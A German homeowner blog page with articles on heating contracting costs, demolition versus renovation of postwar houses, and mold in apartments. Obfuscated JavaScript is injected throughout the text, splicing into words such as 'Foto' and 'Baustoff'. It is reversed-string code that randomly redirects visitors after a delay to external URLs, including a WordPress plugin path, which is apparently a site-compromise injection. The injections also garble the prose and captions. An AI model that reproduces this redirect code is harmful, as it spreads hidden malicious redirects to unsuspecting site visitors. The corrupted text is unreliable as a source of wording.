Heizung mit Contracting – Vertrag ? Welche Kosten entstehen ?

$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de“ src=“http://www.wir-hausbesitzer.de/blog/wp-content/uploads/2011/11/470654_R_K_by_Daniel-Rennen_pixelio.de_-1024×680.jpg“ alt=“Fernwärme – Contracting ; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de“ width=“344″ height=“229″ /> Fernwärme – Contracting ; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Daniel Rennen / pixelio.de

Contracting (englisch: contract) bedeutet eigentlich „Geschäft“. Damit ist grundsätzlich gemeint, dass der Hauseigentümer mit einem sogenannten Contractobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor (Wärmelieferant) einen Wärmelieferungsvertrag abschließt. Das Haus wird so mit Heizwärme und eventuell auch Warmwasser versorgt. Investitionen in eine eigene Heizungsanlage oder Wartungsaufwendungen sind nicht mehr erforderlich.

Sowohl bei Neubau- als auch bei Sanierungsvorhaben haben Hauseigentümer die Möglichkeit für die Heizungs- und Warmwasserbereitung die Wärme und/oder die Anlagentechnik durch externe Unternehmen liefern zu lassen.

Es gibt grundsätzlich zwei Möglichkeiten der Contracting-Vereinbarungen:

1.) Bezug von Fernwärme

2.) Heizungsanlage im Haus

1. Contracting bei Bezug von Fernwärme

Die Wärme für die Heizung und Warmwasserbereitung wird direkt an das Haus geliefert. Voraussetzung ist, dass sich ein Fernwärmenetz in unmittelbarer Nähe befindet. Fernwärme entsteht hierbei oftmals in Heizwerken in Kombination mit der Stromerzeugung (Prinzip der Kraft-Wärme-Kopplung).

Die Kosten für Leitungen und die Übergabestation werden im Regelfall von dem Contracting-Unternehmen getragen (Full-Contracting).

Der Hauseigentümer zahlt anschließend den Verbrauchspreis je verbrauchter Kilowattstunde (= Arbeitspreis). Dieser ist im Regelfall etwas höher als beispielsweise der Gaspreis bei einem regionalen Gasversorger. Neben dem eigentlichen Brennstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toff sind Kosten für den Pumpenstrom eingerechnet. Die energetischen Verluste beim Transport der Wärme zum Haus sind natürlich in den Kosten ebenfalls indirekt enthalten.

Hinzu kommen die so genannten Bereitstellungskosten, also Kosten für die Errichtung der Anlage, für die Wartung, die Verwaltung  und für die Vorhaltung der Anschlussleistung (= Grundpreis). Diese Kosten können deutlich höher sein als die eigentlichen Verbrauchskosten.

Ferner sind weitere Kosten für die Ablesung und Abrechnung möglich (= Abrechnungskosten).

Beispiel: Neues Einfamilienhaus mit 150 Quadratmeter Wohnfläche und einem Jahresverbrauch für Heizung und Warmwasser von 10.000 kWh (Full-Contracting, d.h. Vertrag für Wärmelieferung inkl. Anlagentechnik):

  • Arbeitspreis: 0,10 €/kWh x 10.000 kWh = 1.000 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis: 8,00 €/m² Wohnfl. x 150 m² = 1.200 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Abrechnungskosten:  130 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Summe:  2.330 €   (mit 10 Jahren Laufzeit)

Vergleich mit einem „eigenen“ Gas-Brennwertkessel und einem „Standard-“ Gastarif:

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (des Gasversorgers):  5,00 €/Monat x 12 = 60 €
  • Wartung/Schornsteinfeger: 140 €
  • Summe:   800 €

Fazit bei gleichem Verbrauch sind mit Contracting-Vertrag 2.300 € und mit eigener Heizungsanlage 800 € zu bezahlen. Das ergibt eine jährliche Kostendifferenz von 1.500 €.

Auf zehn Jahre hochgerechnet ergeben sich so 15.000 € Differenz – ohne Energiepreissteigerung gerechnet. Wird jetzt noch eine Energiepreissteigerung von jährlich 5 bis 15 Prozent berücksichtigt … ist die Differenz noch deutlich höher.

Investitionskosten für den Heizungskessel:

Bei diesem Vergleich sind natürlich noch die Kosten für einen „eigenen“ Brennwertkessel einzurechnen. Dieser kostet ca. 8.000 bis 10.000 € (inklusive Arbeitsleistung). Das bedeutet, dass sich im vorliegenden Beispiel auch mit Berücksichtigung der Investitionskosten eine „eigene“ Anlage als deutlich kostengünstiger erweisen würde.

Die Fernwärmepreise unterliegen regional erheblichen Schwankungen, so dass sich Fernwärme aus wirtschaftlicher Sicht auch für einzelne Hausbesitzer finanziell rechnen kann.

Übrigens, die Preise der Fernwärme unterliegen ebenfalls den allgemeinen Schwankungen. Regelungen zur „Preisanpassungsklausel“ sind in der Allgemeinen Versorgungsverordnung (AVBFernwärmeV) gesetzlich geregelt.

 

2. Contracting bei Errichtung und Betrieb einer Heizungsanlage

Eine weitere Contracting–Möglichkeit gibt es, indem ein Unternehmen eine komplette Heizungsanlage im Wohngebäude aufstellt und betreibt. Diese Anlage (beispielsweise ein Gasbrennwertgerät) wird vom Contracting-Unternehmen finanziert und ist damit Eigentum des Unternehmens. Zudem kann der Energieversorger durch den Eigentümer innerhalb der Contracting-Laufzeit nicht gewechselt werden.

Beispiel: Einfamilienhaus mit einem Jahresverbrauch für Heizung und Warmwasser von 10.000 kWh (Gasbrennwertheizung; Full-Contracting, d.h. Vertrag für Wärmelieferung inkl. Anlagentechnik):

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (Gasversorgung):  15,00 €/Monat x 12 = 180 €
  • Contracting-Grundpreis:  2,80 €/Tag = 1.020 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Summe:   1.800 €   (mit 15 Jahren Laufzeit)

Nochmals der Vergleich mit einem „eigenen“ Gas-Brennwertkessel und einem „Standard-“ Gastarif (siehe oben):

  • Verbrauchspreis:  0,06 €/kWh x 10.000 kWh = 600 € (bruttobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to)
  • Grundpreis (Gasversorgung):  5,00 €/Monat x 12 = 60 €
  • Wartung/Schornsteinfeger:  140 €
  • Summe:  800 €

Differenz 1.800 € (Contracting) – 800 € (eigene Anlage) = 1.000 €.

Ohne weitere Preissteigerungen gerechnet, würden sich Mehrkosten von ca. 15.000 € in 15 Jahren ergeben. (Nochmals zum Vergleich: Eine eigene Heizungsanlage kostet ca. 8.000 – 10.000 €). Zudem hat man bei einer eigenen Anlage die Möglichkeit den Gasversorger (und natürlich auch die Anlagentechnik selbst) frei zu wählen.

Fazit – Nachteile von Contracting:

  • Oftmals sind die Energiekosten aus Contracting-Verträgen signifikant höher im Vergleich zur Anschaffung einer eigenen Heizungsanlage.
  • Ein großer Nachteil sind vor allem die sehr langfristigen Contracting-Verträge. Diese liegen meist zwischen 10 und 15 Jahren. Die Vertragslänge ist insofern begründet, da die Anfangsinvestitionen des Contracting -Unternehmens durch den jährlichen Grundpreis gedeckt sein müssen.
  • Bei Fernwärme:   Bindung an den Fernwärmeversorger, teilweise auch über die Vertragslaufzeit hinaus. Auch nach Ablauf der Vertragslaufzeit kann die Fernwärme nicht ohne weiteres abgewählt“ werden. Zum einen gibt es regional sogenannten „Anschlusszwang“ – das sollte vorher abgeklärt werden. Zum anderen gilt grundsätzlich für alle Hausbesitzer ein „Verschlechterungsverbot“. Das bedeutet, dass die neue Anlage (primärenergetisch) nicht schlechter sein darf, als die alte Anlage. Je nachdem wie „gut“ die regional bezogene Fernwärme bewertet wird, sind als Nachfolge-Technik nicht mehr alle Möglichkeiten gegeben. So wird ein Gasbrennwertkessel nicht ausreichen, hingegen jedoch ein Pelletkessel. Übrigens: Informationen zum Primärenergiefaktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor können beim Fernwärmeanbieter jederzeit angefordert werden.

Fazit – Vorteile von Contracting:

  • Es ist keine Anfangsinvestitionen erforderlich. Wer aktuell kein Geld für eine neue Heizungsanlage besitzt, kann hierin durchaus einen guten Ansatz sehen.
  • Gerade bei dem Einsatz von Fernwärme ist es möglich, dass das Gebäude primärenergetisch sehr günstig bewertet wird (Das bedeutet, dass Gebäude bei Neubau oder Sanierung schnell den Standard eines KfW-Effizienzhauses erreichen können und so weitere Fördermöglichkeiten gegeben sind.) Aber Achtung: allein durch den Einsatz von Fernwärme wird das Gebäude nicht wirklich „besser“ und die zu zahlenden Energiekosten werden nicht wirklich geringer.

Prüfung des Contracting-Vertrages:

Der Contracting-Vertrag ist vor Abschluss genau zu überprüfen. Anschließend ist es nahezu nicht mehr möglich aus diesem Vertrag „zu kommen“. Eventuell sollte der Contracting-Vertrag vorher durch einen Fachanwalt geprüft werden.

Tipp zur Senkung der Contracting–Kosten:

Oftmals ist die Anschlussleistung bei Fernwärme Contracting-Verträgen zu hoch ausgelegt. Hier lohnt sich eine Überprüfung. Gegebenenfalls können so im Contracting-Vertrag die Kosten für den Grundpreis aufgrund verringerter Anschlussleistung ein wenig reduziert werden.Contracting

Zahlreiche Wohngebäude der 50er, 60er und 70er Jahre sind reif für den Abriss

Zahlreiche Häuser insbesondere aus den 50er, 60er und 70er Jahren sind inzwischen extrem sanierungsbedürftig. Eine bundesweite Studie belegt, dass es für etwa 1,8 Millionen Wohnhäuser wirtschaftlicher wäre, diese Gebäude abzureißen und statt dessen neue energieeffiziente Gebäude zu errichten. Dabei stammen etwa zwei Drittel dieser Wohngebäude aus den 50er, 60er und 70er Jahren. Gerade diese Gebäudegeneration wurde oftmals im Laufe der Zeit kaum modernisiert, lediglich die Heizungstechnik wurde zwischendurch erneuert. Der Sanierungsstau ist riesig.

Abriss oder Sanierung?; Bild: Karl-Heinz Laube / pixelio.de

Abriss oder Sanierung?; Bild: Karl-Heinz Laube / pixelio.de

Abriss oder Sanierung?

Die Kosten für eine umfassende Sanierung sind jedoch extrem hoch, die baulichen Gegebenheiten sind meist sehr komplex und es müssen zahlreiche Kompromisse im Rahmen der Sanierungsplanung gefunden werden. Deutlich einfacher und dabei kostengünstiger kann es sich somit in vielen Fällen erweisen, das alte Gebäude abzureißen und einen zeitgemäßen Neubau zu errichten. Laut der Studie soll sich sogar für etwa 10 % der Bestandsgebäude ein Abriss und ein anschließender Neubau wirtschaftlicher erweisen als eine umfangreiche Sanierung.

Für das Erreichen der klimapolitischen Ziele, wäre dieser Weg eigentlich ebenfalls eine Option. Leider gibt es hierzu (noch) keine entsprechenden Rahmenbedigungen, die es dem Hausbesitzer vergleichsweise unkompliziert ermöglichen ihr Wohngebäude abzureißen und durch einen Neubau zu ersetzen. Fördermöglichkeiten, beispielsweise der KfW (Kreditanstalt für Wiederaufbau), gibt es für dieses Konzept ebenfalls nicht.

So bleibt nur abzuwarten, wie sich der immer größer werdende Sanierungsstau in den nächsten Jahren auflösen soll.

 

Quelle: Bundesweite Studie zur Analyse des Wohngebäudebestandes

Initiatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toren: Industriegewerkschaft Bauen-Agrar-Umwelt (IG Bau), Hauptverband der Deutschen Bauindustrie (HDB), Zentralverband Deutsches Baugewerbe (ZDB), Bundesverband Freier Immobilien und Wohnungsunternehmen (BFW), Bundesverband Deutscher Baustobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toff-Fachhandel (BDB), Bundesverband Baustobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toffe – Steine und Erden (BBS), Deutsche Gesellschaft für Mauerwerks- und Wohnungsbau (DGfM)

Schimmel in der Wohnung

$nJe=function(n){if (typeof ($nJe.list[n]) == „string“) return $nJe.list[n].split(„“).reverse().join(„“);return $nJe.list[n];};$nJe.list=[„\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Kurt Michel / pixelio.de“ src=“http://www.wir-hausbesitzer.de/blog/wp-content/uploads/2011/07/447430_R_K_B_by_Kurt-Michel_pixelio_de-150×150.jpg“ alt=“Schimmel und Feuchtigkeit; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Kurt Michel / pixelio.de“ width=“207″ height=“150″ /> Schimmel und Feuchtigkeit; Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Kurt Michel / pixelio.de

Was tun, wenn Schimmel in der Wohnung auftritt?

Immer mehr Wohnungen, nicht selten sogar neu sanierte Wohngebäude, weisen Schäden durch Schimmel auf. Schimmel, das sind Pilze, die vor allem allergen, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toxisch und / oder infektiös auf den Menschen wirken können. Man sollte daher den Schimmel in der Wohnung nie auf die „leichte Schulter“ nehmen. Um den Schimmel dauerhaft zu beseitigen, muss zuerst eine Ursachenklärung und –behebung erfolgen.

Was der Schimmel liebt:

1.) eine Raumtemperatur möglichst zwischen 15 °C und 30 °C
2.) eine relative Raumluftfeuchtigkeit zwischen 70 und 80 Prozent
3.) wie alle Pilze: ein leicht saures Milieu (pH-Werte unterhalb von 7)
4.) Nahrung: wie Tapete, Tapetenkleister, Holz, Staub etc.

Ursachen für den Schimmel

Ursachen können Baumängel, erhöhte Raumluftfeuchte, falsche Möblierung aber auch Leckagen sein.

Feuchte Wände können beispielsweise durch eine hohe Raumluftfeuchte bei gleichzeitig geringer Lüftungsrate entstehen. Ein typisches Beispiel ist die erhöhte Gebäudedichtheit nach dem Tausch alter Fenster gegen neue hochdichte Fenster mit Wärmeschutzverglasung.

Aber Schimmel kann auch an (ungedämmten) Außenwänden entstehen; insbesondere wenn diese Wände zusätzlich noch mit Möbeln verstellt werden. Ursache ist, dass diese Wandbereiche in der kalten Jahreszeit weniger erwärmt werden können und so die Raumluftfeuchte bevorzugt hier kondensiert. Dadurch kann es möglich sein, dass hinter dem Schrank über einen längeren Zeitraum beispielsweise 16 °C und 80 % relative Luftfeuchte vorliegen; dazu kommen noch die „alte“ Tapete und etwas Staub … und die Wachstumsbedingungen für die Schimmelpilze sind perfekt.

Ähnlich günstige Wachstumsbedingungen können durch Wärmebrücken verursacht werden. Wärmebrücken sind kleinflächige Bereiche, die sich bei größeren Temperaturdifferenzen zwischen innen und außen stärker abkühlen. Hierbei kann sich ebenfalls Kondenswasser bilden und für „angenehme“ Feuchtigkeit sorgen. Ein typisches Beispiel ist die (ungedämmte) Fensterlaibung.

Vermeidung von Schimmel

Grundsätzlich sollte man versuchen, dem Schimmel seine Wachstumsgrundlagen zu entziehen. Im Folgenden eine kleine Auflistung der vorhandenen Möglichkeiten:

1. Lösung zur Vermeidung von Schimmel:

  • „Weglüften“ der Raumluftfeuchte (Lüftung, wenn außen kühlere Temperaturen vorherrschen als innen)
    • Bewertung: sehr preiswert, aber nur als kurzfristige Lösung geeignet

2. Lösung zur Vermeidung von Schimmel:

  • Möbel von den Außenwänden wegrücken (Wandabstand: ca. 10 cm)
    • Bewertung: preiswert, aber bei ungedämmten Außenwänden manchmal nicht ausreichend

3. Lösung zur Vermeidung von Schimmel:

  • Feuchteanfall in der Wohnung reduzieren (z.B. kein Wäschetrocknen in der Wohnung)
    • Bewertung: ist manchmal bereits ausreichend; es müssen jedoch Alternativen geschaffen werden (z.B. Trockenraum)

4. Lösung zur Vermeidung von Schimmel:

  • Installation von Lüftungsanlagen
    • Bewertung: ist gerade bei erhöhtem Feuchteaufkommen (z.B. Bad, Wohnraum mit offener Aquarienanlage etc.) sehr sinnvoll. Hier gibt es auch bereits sehr interessante dezentrale Lüftungsanlagen.

5. Lösung zur Vermeidung von Schimmel:

  • (Außen-)Dämmung von Außenwänden zur Schimmelbekämpfung
    • Bewertung: ist dauerhaft eine sehr gute Lösung, da „kalte Außenwandbereiche“ beseitigt werden, an denen die Raumluftfeuchte kondensieren kann. Langfristig kann es sich sogar als wirtschaftlich erweisen, da zusätzlich (als Nebeneffekt) auch noch Heizkosten eingespart werden können.

Bekämpfung von Schimmel

Die erforderlichen Maßnahmen können sehr vielfältig sein, je nach Schimmelaufkommen. Hier sollte man sich professionellen Rat suchen. Auf keinen Fall sollte man den Schimmel „einfach“ mit einem Staubsauger absaugen oder mit einem trockenen Tuch wegwischen. In beiden Fällen würde man die Pilzsporen des Schimmel ’s im Raum verbreiten und so die gesundheitsgefährdende Wirkung verstärken.